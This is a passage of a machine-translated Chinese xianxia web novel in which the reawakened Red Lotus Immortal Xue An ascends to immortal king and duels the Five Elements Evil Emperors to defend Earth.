    The evil emperor Xijin sneered: "A group of things that are not even considered as ants, dare to wait for me to do something?"


    The world is silent.


    Because the strength shown by Xijin Evil Emperor''s hand has exceeded many people''s imagination.


    At this moment, when Zhuge Zang, Hu Ye and others rose to the sky, they came to the opposite side of the Five Elements Evil Emperor.


    Both parties are immortal kings who have been famous for many years, and they know each other naturally.


    Therefore, as soon as he saw Zhuge Zang, Xijin evil emperor sneered, and then said to Shang Liang on the side: "Master of the Chamber of Commerce, are you defeated by these wastes?"


    Shang Liang looked awkward, but he nodded.


    At this time Zhuge Zang stepped forward and shouted in a deep voice: "The Five Elements Evil Emperor, long time no see!"


    The evil emperor Xijin sneered, "Old Zhuge, aren''t you good at fortune-telling? Then have you ever calculated that you are going to die here today?"


    These words are extremely arrogant.


    Zhuge Zang''s eyes gradually became gloomy, "Xijin evil emperor, there is a way to stay as a human being, so that you can see each other in the future! You brought so many evil sects here this time, do you really want to kill them all?"


    "That''s right! I want to kill them all! Even this planet will be completely destroyed for me. Blame... the name Xue!" Xijin Evil Emperor sneered.


    At this moment, Hu Ye shouted, "What nonsense is there to talk to these guys? Just do it!"


    With that said, Hu Ye rushed forward and immediately revealed the Immortal King''s Law, which was a blow to the Evil Emperor Xijin.


    The evil emperor Xijin sneered, "Fox Ye, if your parents are always here, I might still be afraid, are you...you are still tender!"


    Following the voice, but seeing him take a palm shot, he blasted Huye back with this blow, and the shock made Huye back again and again.


    Ye Hanchang raised his hand to support Hu Ye, nodded to each other, and then urged the fairy king to rush up again.


    Tianzhuna and Chu Wuxiang are naturally no exception, and even Zhuge Zang is no longer nonsense.


    Because he knows very well that the evil emperor of the five elements is coming fiercely, obviously not one or two words can be resolved.


    Since the war could not be resolved, so he also gave it up.


    He shook his head abruptly, the bun on the back of his head suddenly broke apart, his silver hair was scattered, and his aura rose to the peak.


    Ye Hanchang, who had been shaken out, couldn''t help but exclaimed.


    "Fuck, old man is going crazy!"


    In the memories of Ye Hanshang and others, I have never seen Zhuge Zang so desperate.


    "Don''t talk nonsense, we must block these guys, otherwise the earth behind us will be all over!"


    Zhuge Zang shouted in a deep voice The brilliance in his eyes flickered, turning into two appearances: one yin and one yang. Among them, there are countless extremely complex symbols that are constantly deduced. Obviously, they have entered a kind of extremely mysterious. In the state, then rushed into the battle group.


    Ye Hanshang looked at Zhuge Zang who had already spared all his life, and a decisive brilliance flashed in his eyes.


    "In that case, then I will also have fun with you!"


    Having said that, Ye Hanchang suddenly seeped a drop of the fairy king''s blood between his eyebrows, and then flew straight up and sank into the fairy king''s magical appearance above his head.


    Rumble!


    This Immortal King''s Dharma Phase began to increase rapidly, and in the blink of an eye it became full of heights.


    Ye Hanchang''s face was as white as paper, and he opened his mouth to spit out a mouthful of blood, "Damn, the surname is Xue, remember that you owe me another drop of the fairy king blood!"


    Then he rushed up.


    As soon as he saw him, Tianzhe Nahuye and Chu Wuxiang looked at each other, and then nodded together.

 Chapter 1773： Real melee

    oom!


    Tianzhuna''s expression became extremely painful, and his whole body''s cultivation base burned violently, and his power more than doubled.


    Hu Ye gritted his teeth abruptly, and a fox tail behind him exploded directly, and the extremely pure blood poured down his body, making his eyes become blood red.


    In contrast, Chu Wuxiang didn''t have so many bells and whistles. He saw his muscles twist like a dragon, and then heard a loud noise coming from his body.


    It seemed that some restraints were breaking one after another.


    In the blink of an eye, Chu Wuxiang''s body swelled again, turning into a giant ten meters high, and his muscles were exuding explosive power, and any tremor could squeeze the air out.


    Chu Wuxiang smiled, "It''s great to let go of all the restraints!"


    Hu Ye, who was trembling with the evil emperor of Nanhuo, slapped his tongue when he heard the words, "I wipe, Lao Chu, do you usually carry the restraints on your back?"


    Chu Wuxiang nodded, "I''m afraid I won''t be able to control my strength, so I imposed ten restrictions on myself!"


    Fox night: "..."


    This war unfolded like a raging fire.


    The eleven fairy kings fought together, and the power was so powerful that the space was constantly shattering.


    The whole world is watching this scene in the sky very worried.


    Because the outcome of this battle will directly affect the survival of all people.


    But no monk can step forward to help out, because the monks below Daluo can''t even stand wherever the power of the fairy king passes.


    So they can only clenched their fists and watched very nervously.


    The Man Tian Xie Xiu who followed the Five Elements Evil Emperor didn''t do anything. On the contrary, they all hugged their arms in time, looked at it with interest, and even exchanged opinions with each other.


    "Tsk tusk, how long hasn''t seen so many immortal kings fighting together?" You Xie Xiu said with a smile.


    "I really didn''t expect that such a humble little planet actually gave birth to an existence like the Red Lotus Immortal Venerable!" Someone sighed.


    "It seems that the planet is not big, but the luck seems to be good! When these ants are killed, we can use this as an evil faction stronghold!" Someone has already begun to plan how to occupy the earth.


    In their eyes, the earth is already in their hands.


    Because they felt that even if the defensive Fox Ye and others were the immortal king, how could they be the opponent of the Five Elements Evil Emperor?


    At the same time, the battlefield situation gradually became stalemate.


    Although the Five Elements Evil Emperor had to surpass Zhuge Zang and others in strength, and also had an advantage in number, but because of the desperate struggle of Hu Ye and others, he barely stood up.


    But that''s all, as time goes by, Huye and others are falling into the wind bit by bit.


    At this moment, the evil emperor of Middle-earth caught a chance and winked at Shang Liang.


    Shang Liang understood his mind and directly took the position of the evil emperor of the Middle Earth.


    The Evil Emperor Middle-earth took this opportunity to separate an incarnation and stay here. As for the body, it dived into the void and ran away.


    In an instant, he came outside Kunlun.


    Looking at the light curtain in the distance, a cold smile appeared on the face of the Evil Emperor Zhongtu.


    That should be the sleeping place of Red Lotus Immortal Venerable.


    Then he flashed, dived underground and ran towards it.


    At this moment, An Yan and others who are waiting around are waiting.


    But because of the cultivation base of the Evil Emperor in the Earth, how could they be aware of whereabouts.


    Therefore, in the blink of an eye, the Evil Emperor Middle-earth sneaked into the light curtain silently.


    really.


    Under the curtain of light, Xue An sat cross-legged, his head drooping, and there was no breath on his body.


    And beside him, there is a woman who has entered into concentration.


    However, all the attention of the Evil Emperor Zhongtu at the moment was focused on Xue An.


    When it was determined that Xue An did not have the slightest aura and had fallen between life and death, the evil emperor of Middle-earth showed excitement, and then quietly came to Xue An.


    All the past flashed through his mind.


    When Xue An first ascended to the position of the Immortal Emperor, he killed five of his brothers with his own power, and fled to the edge of the heavens before barely saving his life.


    At that time they also thought about revenge, but Xue An broke through one after another, and eventually became the red lotus immortal.


    Under these powers, the five of them were so scared that they didn''t even dare to show their heads, and dared not mention revenge anymore.


    But who would have thought that Xue An actually fell. After learning the news, the five of them were crying with joy, but they were afraid that Xue An had deliberately released false news, so they did not dare to be too arrogant.


    It was not until later that it was determined that Xue An was really dead, and the five of them let go of their hearts and reopened the gate with great fanfare.


    I thought that Xue An died just like that, but they never expected that they received a message from the Lord of the Abyss some time ago.


    Xue An was actually reborn, and once again cultivated half a step into the realm of the fairy king.


    Upon hearing the news, they rushed here immediately.


    One is for revenge, but more importantly, they want to cut the roots. After all, Xue An is not dead, and they can''t even sleep well.


    All the humiliation at that time passed in front of his eyes, and the Evil Emperor of Middle-earth couldn''t help but grinned, then slowly raised his hand.


    "The surname is Xue, it''s all your retribution, so...go to death!"


    With that said, his palm was about to fall.


    At this moment, a slender hand was gently resting on his shoulder, and then he heard a cold female voice coming from behind.


    "what are you doing?"


    The Evil Emperor Middle-earth became so scared that his muscles stiffened instantly, and he flew to the front. When he turned around, he saw a woman with an extremely ethereal face and a vertical line between her brows.


    She tilted her head and looked at Evil Emperor Tuxing, "Did you just want to kill him?"


    The evil emperor of Middle-earth felt cold for no reason, and Xuan even said angrily: "So what? Who the **** are you?"


    "My name is Jian Qi!"


    Jian Qi took a step forward, guarding Xue An behind him, and said lightly: "I don''t care who you are can''t kill him now! Because he is mine now!"


    Emperor Tu Xing Xie''s eyes flashed, and he said in shock: "Sword Seven? Are you that sword lunatic?"


    Jian Qi was silent, but looked at him coldly.


    The Evil Emperor Tu Xing pondered for a moment, and then said: "Sword Seven Girl, as far as I know, you have nothing to do with Xue An. Why do you protect him like this?"


    "Because no one can touch his vellus hair before competing with him, even you!" Jian Qi said coldly.


    The evil emperor Tuxing was furious, but as the top powerhouse of the evil faction, he quickly returned to normal, and then laughed grinningly: "A sword repair in a small area is really a big tone. Since you refuse to let it go, let''s go together. go to hell!"


    As he said, he patted it off.


    The great earthquake trembled endlessly, and countless earth travel forces surged out, making the power of this palm extremely powerful.


    But just under the cover of this earth-yellow giant force, a sword light rushed out, and directly nailed to the chest of the Evil Emperor Tuxing, and took it away.

 Chapter 1774： Above and below, I am the only red lotus, Xue An...

    In the midair, the evil emperor Tuxing roared again and again, but he couldn''t help this sword light until he flew hundreds of feet and smashed the defensive light curtain.


    Looking at the evil emperor Tuxing at this time, he has become a little embarrassed.


    But An Yan and the others realized that something was wrong here, and they all looked over with horror.


    "Say it again, get out now, or die!" Seeing Jian Qi standing in front of Xue An, he said calmly.


    The Evil Emperor Middle-earth was so angry that he almost vomited blood.


    Because the current Jianqi is like a child protecting his beloved toy, completely unreasonable.


    But I couldn''t help her for a while.


    But An Yan and others gradually opened their eyes, looking at this scene with incredible faces.


    what happened?


    Why did this terrible woman help herself suddenly?


    At this moment, there was a sudden loud noise from the high altitude, and then Huye and others, who had been completely downwind, were flew out.


    Zhuge Zang even vomited a big mouthful of blood in midair.


    "Senior Zhuge!"


    "Master Zhuge!"


    The exclamation sounded one after another.


    Then I saw the Evil Emperor Xijin step forward, and said with a grinning smile: "You dare to come out ashamed at this strength? Brother, how about you?"


    The evil emperor of Middle-earth shouted: "This woman is purely a lunatic, and I can''t help her for the time being! You quickly get rid of those guys, and then come and destroy Xue An!"


    "okay!"


    The four evil emperors and Shang Liang laughed together when they heard the words, and then went straight to Zhuge Zang and others.


    Seeing that the situation was critical, Hu Ye, Ye Hanshang and others wanted to protect Zhuge Zang.


    But Zhuge Zang shook his head, "It''s useless, I have been seriously injured now, you quickly go down and take Xue An, An Yan and others away, and I will hold them!"


    "How can it work!" Hu Ye exclaimed.


    "Hurry up! Otherwise you will all die if you stay here!" Zhuge Zang roared, his beards spread.


    Huye, Ye Hanshang and others looked sad, and then resolutely turned and ran down.


    Evil Emperor Nanhuo, Evil Dongmu and Evil Beishui laughed strangely, "What? Want to escape? It''s not that easy!"


    He said he wanted to catch up.


    But at this moment, Zhuge Zang suddenly stopped their way.


    "Don''t chase, it''s nowhere!"


    Several people stopped, and then looked at Zhuge Zang grimly.


    "Old man Zhuge, what? Are you planning to sacrifice yourself to buy time for them?" Xijin Evil Emperor said with a gloomy expression.


    "So what?" Zhuge Zang smiled freely.


    "Haha, do you think it''s worth it to do this? You are the immortal king, immortal!" Xijin Evil Emperor sneered.


    "For me, there is nothing worth or not worth. Anyway, I won''t let you demons run wild!" Zhuge Zang said in a relaxed tone, while the silver hair in the back of his head danced without wind, making his The body shape is really like an immortal.


    Everyone, whether they were present or those who saw this scene on TV, showed sorrow when they saw this scene.


    The evil emperor Xijin nodded, "Very good! Since you think so, then I will fulfill you! Kill him!"


    The five moved their hands together.


    However, I saw countless brilliances hitting Zhuge Zang with the mighty power.


    Zhuge Zang''s complexion was calm, the brilliance in his eyes gradually brightened, and the whole person entered a state of no sadness and no joy, and then he seemed to be able to predict the direction of each attack in advance, constantly flashing and shifting, unexpectedly He dodges all attacks.


    But his face was aging at a speed visible to the naked eye.


    "This old guy is overdrawing his own life to predict everything! A few more blows will consume him!" Shang Liang suddenly shouted.


    Several people nodded and immediately accelerated their attack speed.


    Zhuge Zang''s figure became gradually sluggish, and the wrinkles on his face became more and more obvious.


    This scene caused many people to cry silently.


    The Fox Night on the ground even had tears in his eyes, and tremblingly said: "Sister-in-law, you lead everyone, and you will follow us later!"


    An Yan couldn''t even shed tears at this time, so she nodded stupidly.


    At this time, Ye Hanshang and Chu Wuxiang had already rushed to Xue An.


    Chu Wuxiang stretched out his hand to pinch Xue An''s waist, trying to pick him up.


    But his arms shook, but Xue An didn''t move at all.


    "What''s the matter?" Ye Hanshang asked.


    "I can''t lift him!" Chu Wuxiang also looked incredible.


    To know him now, his arms flashed at least ten thousand tons of power, but Xue An could not help it.


    "Try again! Hurry up, otherwise it''s really too late!" Ye Hanchang said anxiously.


    Chu Wuxiang nodded, and stretched out his hand again to pinch Xue An''s waist.


    But at this moment, an invisible force directly flew out Chu Wuxiang.


    Just as everyone was stunned, but seeing a white light suddenly rose from the top of Xue An''s head, the whole world trembled.


    Immediately afterwards, Xue An''s body gradually floated, revealing dazzling brilliance.


    Everyone could not help opening their eyes wide and holding their breath.


    At the same time, Hu Ye, Ye Hanshang and others watched this scene with shock.


    "This is..." Hu Ye looked dull and whispered softly.


    "This is the gift of the Immortal King!" Ye Hanchang on the side whispered.


    The gift of the fairy king!


    When someone proves the status of the immortal king, because the heavens shake and the law restarts, all kinds of incredible scenes will be stimulated, so it is also called the gift of the immortal king.


    But neither Huye nor Ye Hanshang had seen such a grand ceremony of the fairy king.


    This is even beyond their imagination.


    Only Zhuge Zang looked at Xue An, who was in the middle of countless brilliance, with a faint smile on his face.


    It really deserves to be the former Red Lotus Immortal! He broke through the life and death so quickly and successfully promoted to the fairy king!


    Counting how long he has been reborn, if this promotion speed spreads, it is estimated that it will cause an uproar in the entire heavens!


    At this time, the evil emperor of the Five Elements and Shang Liang, the expressions on their faces were simply ugly.


    Who would have thought that Xue An would suddenly break through at this time!


    So the five of them looked at each other and immediately killed the killer.


    But seeing the five brilliances representing the power of the five elements came straight to Xue An in mid-air and merged into one in the middle.


    When Xue An approached, these five brilliances had been condensed into a gray brilliance, exuding a terrifying power of destruction.


    But just as this brilliance was about to hit Xue An''s body, an invisible energy descended from the sky, confining the brilliance.


    There is no sound, no vibration.


    This brilliance broke down silently, and turned into nothingness in the blink of an eye.


    at the same time.


    But seeing above the universe ~ www.novelhall.com ~ in the void, the law of heaven is like welcoming the arrival of the king, cheering.


    Immediately afterwards, a loud bang came from Xue An''s body, which was the sound of a beating heart.


    Then the extremely abundant Qi machine began to recover at a crazy speed.


    In the blink of an eye, Xue An''s power rose steadily.


    After a while, all the glory gradually dissipated.


    At this moment, Xue An slowly raised his head and suddenly opened his eyes.


    In that instant, countless red lotuses loomed in the void in front of him.


    Even though it disappeared in the blink of an eye, it still frightened everyone.


    At the same time, Xue An was full of authority and said in a deep voice.


    "Heaven and earth, I am the Red Lotus!"


    At this point, Xue An finally broke through life and death and stepped into the realm of the fairy king!

 Chapter 1775： 1 word is overwhelmed by 6 the fairy king dare not say anything

    Xue An''s majestic words spread all over the world in an instant, resounding throughout the solar system.


    But seeing the world, the sun, the moon, and the stars, they all shake.


    Countless beautiful smallpox illusions burst and fall, and golden lotus blossoms on the ground.


    Everyone looked at this scene with horror.


    Only Jian Qiyi looked curiously, watching with interest.


    Fox Ye murmured softly with a dull expression: "The sky is falling chaotically, and the ground is springing up with golden lotus...Old Xue, you have achieved what kind of fairy king status!"


    At the same time, Xue An smiled and looked at everyone, finally focusing on An Yan.


    "Yan''er, I''m back!"


    An Yan burst into tears when he said this, but couldn''t even speak, and could only nod his head vigorously.


    Then Xue An looked at Zhuge Zang in the distance, with an apologetic expression in his eyes.


    "Old way, sorry, I woke up a bit late!"


    Zhuge Zang chuckled, "It doesn''t matter, my old bone can last a few days!"


    Xue An nodded, "You first step back and rest, these guys will leave it to me!"


    Zhuge Zang didn''t refuse, turned around and retreated.


    At this time, only Xue An, the Five Elements Evil Emperor and Shang Liang and others were left in the sky.


    now!


    Whether it is the Five Elements Evil Emperor or Shang Liang, the look on his face is extremely ugly.


    They didn''t expect that at this critical moment when they were about to succeed, Xue An actually regained consciousness, and successfully broke through to become the strong immortal king.


    This feeling of falling short of success made them feel uncomfortable and vomit blood.


    At this moment, Xue An''s eyes swept over them.


    Although Xue An is only the first ascent of the Immortal King at this moment, Ji Wei as the Red Lotus Immortal Venerable still makes the Five Elements Evil Emperor, Shang Liang and the others discolored.


    Seeing this scene, Xue An''s mouth raised slightly, revealing a cold smile.


    "The Five Elements Evil Emperor, Qiantianyuan Shangliang... It seems that they are all old acquaintances!"


    "But I really want to know, what kind of courage is it that can make you desperately come to die?"


    As soon as these words came out, the faces of these people turned black, and they all snorted.


    In particular, the evil emperor Xijin, who had the most violent temper, was even more furious and said gloomily.


    "Surnamed Xue, don''t think we are afraid of you anymore. You did not dare to provoke you at first, but now you are just a newcomer to the Immortal King. Do you really think that you are the Red Lotus Immortal Venerable invincible?"


    "Oh?" Xue An smiled faintly, then slowly raised his hand, flipping his wrist, and a crystal clear, beautiful red lotus appeared in the palm of his hand.


    Seeing this, the Five Elements Evil Emperor and the others were completely disillusioned and immediately took a step back.


    Xue An gently stroked the branches and leaves of the red lotus, and said with a smile but a smile: "What? Is this scared?"


    Between words, he raised his head, red lotus looming in his eyes, looking at the Evil Emperor Xijin.


    "Didn''t you just say you are not afraid? Then come and have a try now! See if it is you or me!"


    The evil emperor Xijin''s face turned blue and red, and he opened his mouth but couldn''t even speak.


    So a very strange scene appeared on the scene.


    Xue An owns his own side, and there is no one behind him. On the opposite side are the originally arrogant Five Elements Evil Emperor and Shang Liang. Behind them are the boundless evil cultivators.


    The two parties are simply very different in number.


    But under this situation, Xue An stood alone, wherever he could.


    Whether it''s the Immortal King or ordinary evil cultivator, they all have a look of shock, shrinking and dare not say anything.


    These images, which were suppressed by one person, so that countless people were afraid to raise their heads, were broadcast throughout the world via live broadcast.


    Everyone was unconsciously excited with tears in their eyes, and the already desperate heart gradually recovered.


    "Damn, although there are some stinky farts, but I have to say that this scene of Old Xue is really handsome! A word makes the six immortal kings dare not say anything!" Hu Ye looked at Xue An''s back with envy, his mouth Murmured in a low voice.


    At this moment, the Five Elements Evil Emperor and Shang Liang looked at each other. Then he nodded slightly.


    They all know that if Xue An is allowed to suppress it like this, they will lose without having to do anything.


    Because once the spirit is lost, it is difficult to cultivate again.


    So after determining each other''s thoughts, Xijin Evil Emperor gave a grinning grin.


    "Xue An, I have to admit that you are indeed very powerful, and you can even prove to the Immortal King in such a short time after reincarnation! But your mistake is too arrogant!"


    "Oh? Are you arrogant? I don''t think so!" Xue An said lightly.


    "Do you really think that our brothers have been hiding and waiting for death for so many years? You are wrong! Today we will let you know what a real top fairy king master is! Hands!"


    With a loud shout from the Evil Emperor Xijin, the five of them suddenly turned into five brilliances, and then rose into the sky and landed in all directions of east, west, north, south.


    When they stood still, above their heads, five immortal kings with different looks and different shapes appeared.


    Immediately afterwards, luminosity appeared between these five dharma figures, connecting them closely.


    Suddenly.


    Everyone felt that their bodies sank suddenly, and at the same time the vitality of the world around them was trembling crazily, and they kept pouring into the five dharma figures.


    This scene shocked everyone, but Xue An didn''t even move, just watched quietly.


    at the same time.


    Every silk thread enveloped the sky, trapping Xue An firmly in it.


    Then he heard the evil emperor laugh wildly.


    "Xue An, you are really arrogant enough that you don''t even hide! But now you are trapped by my waiting for the Five Elements Zhutian Great Formation, I see how you can respond!"


    The Reverse Five Elements Zhutian Great Array is a peerless killing array created by the Five Elements Evil Emperor who has spent countless efforts in recent years.


    Once it is formed, it will be able to destroy the world.


    Even if you are the emperor of the immortal, you have to retreat and don''t dare to take the lead lightly.


    So the five elements evil emperor saw the formation formation Xue An was successfully trapped, and couldn''t help but be overjoyed and laughed.


    at the same time.


    In the siege of countless silk threads, Xue An''s figure seemed to become stagnant.


    Seeing this scene, everyone''s hearts became tight.


    Many people''s hands were sweating, and they cheered for Xue An silently.


    Xue Warshen, you are the hope of the whole world now, so don''t be wrong!


    At this moment, I saw Shang Liang laughing ecstatically.


    "Xue An, you asked for this! Die to me!"


    Following the voice, Shang Liang encouraged his whole body to cultivate and rushed towards Xue An like a bolt of lightning.


    But as soon as he got closer, Xue An slowly raised his head, his eyes were as bright as jade, and his face was full of indifference.


    "Just that, want to kill me too?"

 Chapter 1776： Red lotus

    When the words fell, above Xue An''s head, a huge red lotus suddenly appeared, and then the red lotus bloomed vigorously.


    In the lotus heart, there was a phantom young man with a fuzzy face.


    Seeing this scene, Zhuge Zang couldn''t help but exclaimed: "Red lotus image, it is red lotus image!"


    As he spoke, his excited beard trembled.


    Because this red lotus statue is exactly one of Xue An''s assassins that smashed the heavens and overwhelmed everyone.


    Now it finally reappears in front of the world again.


    And when this red lotus figure was completely formed, Shang Liang stood in place as if he had been cast by the body spell curse.


    His eyes were full of horror, but he couldn''t even move his fingers, he could only stare blankly.


    At the same time, but seeing the young man in Lotus''s heart suddenly opened his eyes.


    In Shang Liang''s eyes, the young man''s face was always blurred, but when he opened his eyes, Shang Liang felt that everything had disappeared in an instant.


    Only these red eyes were left in the empty world.


    Bang!


    The Faxiang of the Immortal King on Shang Liang''s head instantly shattered, and then he was shaken out like a kite with a broken line.


    And Shang Liang in the air was still vomiting blood.


    When he barely stood firm, he was trembling all over, his face was ashen ashes, and his aura was wilted to the extreme.


    one strike!


    Just a blow!


    The principal of the dignified Qiantianyuan, the immortal king class powerhouse Shang Liang was severely injured.


    Such a result made everyone speechless.


    The evil emperor of the five elements was also stunned.


    But before they could react, they saw the young man in the red lotus image suddenly waved his hand.


    boom!


    The boundless karmic fire came out of thin air, and in an instant it covered the entire sky.


    At this time, the red lotus fire industry has undergone a qualitative change, and the previous white sacred fire has completely integrated with it.


    And under the blessing of Xue An''s power of the immortal king, the power has increased more than a hundred times.


    Therefore, wherever it went, those five elements thread broke instantly, and in the blink of an eye, this inverse Five Elements Zhutian Great Array, which was painstakingly arranged by the Five Elements Evil Emperor, collapsed and vanished.


    The Five Elements Evil Emperor was forced by the red lotus karma fire to retreat back and forth again and again, and the whole person was in a panic.


    But the evil emperor of the five elements is worthy of being the top powerhouse among the evil factions, I saw them roaring again and again.


    "The surname Xue, don''t think that this will scare us, today either you die or I die! Take your life!"


    With that, the five began to bombard Xue An frantically.


    They knew very well that now that Xue An has ascended the position of the Immortal King, there will be no room for return between them.


    Therefore, they are also completely free of it, and once they make a move it is a strong ultimate move.


    For a while, seeing the brilliance of the five elements looming around, the vitality of the entire earth that was disturbed was agitated.


    The violent impact and clamors are even more audible.


    Everyone looked at the battle in the sky with solemn expressions, but only a few people could see the situation clearly.


    "Old Tao, what do you think the final result of this battle will be?" Hu Ye asked softly.


    Zhuge Zang watched with piercing eyes, and then slowly said after a long time: "There is no doubt that the evil emperor of the five elements will fall here!"


    "Falling? Old Tao, are you serious?" Hu Ye was also taken aback.


    He thought that Xue An could win this battle and expel the evil emperor of the five elements, it was already great.


    After all, he had just proclaimed the Dao Immortal King, and his strength was temporarily not as good as these long-standing evil sect masters.


    Unexpectedly, Zhuge Zang was so confident that he believed that the Five Elements Evil Emperor would fall here.


    "Of course it''s serious!" Zhuge Zang nodded solemnly.


    "Are you so confident in Old Xue?" Hu Ye was still a little unbelievable.


    Zhuge Zang smiled, "This is not faith, but fact. If you don''t believe it, just keep watching!"


    As soon as the voice fell, only a loud bang was heard, and the two parties in the battle separated.


    At this time, look again, the red lotus method on the top of Xue An''s head has lost most of the lotus leaves and has become bald.


    But in contrast, the Five Elements Evil Emperor are even more embarrassed.


    They were panting and sweating, and the evil emperor Xijin and the evil emperor Nanhuo had several wounds on their bodies.


    But this kind of small injury was almost nothing to them, and after just one breath, the wound healed as before.


    Then the evil emperor of the five elements stared at Xue An solemnly.


    "Xue, you are really amazing! But you and me are now evenly matched, and no one can do nothing. Why don''t you and I take a step back. I will lead everyone to leave the earth now. From now on, the water of the well will not violate the river. What do you think? "The Evil Emperor Xi Jin, who was always irritable, spoke.


    And this proposal also moved everyone''s heart.


    If this group of guys can really leave the earth, if the well water does not violate the river since then, that would be great!


    Therefore, in an instant, countless eager eyes looked at Xue An in the sky.


    But Xue An laughed when he heard the words, with a hint of sarcasm in his smile.


    "Step back each? Why? You treat the earth as a playground, come and go as you like?"


    The evil emperor Xijin didn''t expect Xue An to reject his proposal. He was taken aback for a moment before he said angrily: "The name Xue, don''t think we are afraid of you! I..."


    "Stop talking!" Xue An interrupted him directly and said lightly: "All of you have to stay here today and pay for your actions!"


    When this sentence came out, the whole world was shocked.


    The evil emperor of the five elements was extremely angry and laughed.


    "Surnamed Xue, I really don��t know how arrogant you are to say this, and you still want to keep all of us? When you first ascended to the emperor, how did you fail to treat five of our brothers, now it��s just Just a fairy king, dare to be so rampant?"


    "Rampant?" Xue An shook his head You are wrong, this is not rampant at all, but a... trial! "


    As soon as the voice fell, the evil emperors of the five elements all showed sarcasm smiles, but before they could speak,


    But seeing Xue An step forward, the brilliance in his eyes burst, and the awe-inspiring spirit rose to the sky, and then he shouted in a deep voice.


    "The sword is coming!"


    With an order, Haoran''s Spiritual Sense spanned countless star fields in an instant, and arrived in front of a lost temple somewhere in the void.


    At this moment, in this lost temple, a group of treasure hunters are carefully searching for treasures.


    "Boss, this temple is really big, which **** is enshrined in it?" the treasure hunter asked curiously.


    "Why do you waste so much words? Work quickly!" The boss reprimanded, and the subordinate quickly lowered his head and dared not speak.


    But then the boss raised his head and looked at the depressed idol deep in the temple, and the whole person trembled for no apparent reason.

 Chapter 1777： This sword is named Mo Wangan!

    Oh shit!


    What can you do if you just exist? Looking at the appearance of this temple, you know that you must have fallen, so now this place is just a pile of mud, what''s so arrogant!


    The boss cursed a few words in his heart, emboldening himself.


    At this moment, someone shouted in surprise: "Boss, look at this mechanism!"


    The boss hurriedly leaned forward, and as expected, a mechanism appeared somewhere in the temple.


    He first studied it carefully and determined that it should not be an ambush by the agency before pressing it down cautiously.


    Carrara!


    With a loud noise of gears turning, a shrine slowly emerged on the wall behind the idol.


    And above the shrine is a long sword that is completely dark and has no surprises.


    "Why is it a broken sword? Isn''t there even a treasure in this temple?" Everyone couldn''t help being disappointed.


    The boss did not speak, but stepped forward cautiously.


    "Mo Wangan? What kind of weird sword name is this?"


    Seeing the words engraved on the table, the boss couldn''t help but curl his lips, then raised his hand to pick up the sword on the table.


    But at this moment, a great spirit rushed into the air and poured directly into this long sword.


    Zheng!


    There was a sharp sound of the sword, and then an extremely bright sword light radiated from this long sword.


    Where Jianmang passed, the nearest treasure hunter boss was directly evaporated into nothingness.


    Immediately afterwards, I saw this long sword rushing straight up and circled the entire temple. Under the extremely terrifying sword power, these unlucky treasure hunters did not even have time to hum, and were directly crushed into powder.


    After all this was done, the long sword stopped abruptly, and then the tip of the sword began to tremble.


    Wherever he went, the space was cut into pieces.


    After a black hole appeared in the sky that could accommodate the blade, the long sword went in and disappeared instantly.


    at the same time.


    Above the earth, Xue An stood high in the sky, and his voice just landed.


    But everything went as usual, nothing unusual happened.


    Seeing this, the Evil Emperor Xijin couldn''t help but laugh strangely, "Xue An, are you making fun of you? Come back? It''s really funny..."


    But he hadn''t waited for him to finish, but saw the void in front of Xue An suddenly rippled.


    Immediately afterwards, a long sword came out, circled Xue An for a few times, and emitted a jade-like chime of swords, as if a pet had seen a long-lost owner, full of infinity Joy.


    A faint smile appeared on Xue An''s face, "It''s alright! Don''t be so resentful, haven''t I come back!"


    The tone was more like speaking to a living creature than to a sword.


    Seeing this scene, everyone was a little stunned, including the Evil Emperor Xijin, who was shocked.


    Only Jian Qi''s eyes lit up, and he whispered softly, "Interesting!"


    Then he continued to look with excitement and expectation.


    at the same time.


    This long sword finally vented the dissatisfaction in his heart, and obediently flew into Xue An''s palm.


    Xue An held the sword in his hand, looked at the sword with infinite emotion, and then whispered: "This sword is called Mo Wangan!"


    Hearing this name, An Yan on the ground trembled, and then a sweet and distressed look appeared on his face.


    "It was the saber used when I was the fairy king. I used it to slay countless evil spirits and evil spirits, and today..."


    Xue An smiled coldly at the Five Elements Evil Emperor and others on the opposite side, "It''s your turn!"


    The evil emperor Xijin snorted when he heard the words, "Don''t think that we will be afraid of you with a broken sword! The surname is Xue, don''t you know that the strong immortal king is immortal?"


    "Immortal? Hehe..." Xue An sneered a few times, "Under my sword, no one is immortal!"


    The words fell, but Xue An suddenly flicked his sword.


    Zheng!


    A sharp sound of sword rang through the sky.


    Then Xue An raised his sword in his hand and cut out in one step.


    The power of this sword, its speed, and its strength are beyond words.


    The first to bear the brunt is the nearest Xijin Evil Emperor.


    After feeling the power of this sword, he was so frightened that he was full of disdain.


    "My slot, what swordsmanship is this?"


    He wanted to retreat as he said, but Qi Ji had already locked him firmly, leaving him nowhere to escape.


    In desperation, the evil emperor Xijin roared in pain, and his whole body suddenly turned into pure Gengjin aura.


    This is also one of his life-saving methods, as long as he enters this state, ordinary attacks can''t shake him at all.


    But this time, this unprofitable trick failed.


    However, seeing this sword come with its peerless elegance, even the most basic particles seemed to be cut in half wherever it went.


    The Gengjin Qi that the Evil Emperor Xijin transformed was naturally no exception.


    Just listen to a muffled sound.


    Jian Guang cut straight past.


    The body of the Evil Emperor Xijin fell out instantly, his chest was stained with blood, and a huge wound had penetrated his belly.


    He looked pale and looked at Xue An with horror.


    "What sword is this?"


    "This sword is called Mo Shi!" Xue An said lightly.


    Evil Emperor Xijin nodded, "Good swordsmanship!"


    When the words fell, the brilliance in his eyes dimmed in an instant, and then his whole body was completely burst apart.


    In the blood splattered, even the soul was broken.


    With a sword, the evil emperor Xijin fell on the spot.


    And Xue An slowly stretched out a finger, "This is the first one!"


    After an instant of silence, the audience shook.


    The Jian Qi on the ground was even more shocked, and an incredible light of shock burst out of his eyes.


    "This sword..." Jian Qi whispered softly, almost groaning, his cheeks flushed and his face was obsessed.


    "Ah ah ah ah! Xue An You dare to kill my brother, I must kill you today!"


    The Evil Emperor Nanhuo, who had the best relationship with the Evil Emperor Xijin, reddened upon seeing this, and rushed up with a roar.


    On him, the boundless flames were burning, as if the space was scorched.


    But Xue An didn''t even blink his eyelids, raised his hand and raised his sword, and then took the second step.


    "This sword is called Mo Wang!"


    The same bright sword light, the same sword intent that ruled the world, the same muffled sound.


    Then I saw the evil emperor Nanhuo''s forward stature stagnated, and then a blood line appeared in his throat.


    The blood line expanded rapidly, and in an instant, his head rose to the sky, and the blood spurting out of the cavity was like spring water splashing into the sky.


    After a while, the headless body of the Evil Emperor Nanhuo fell to the ground.


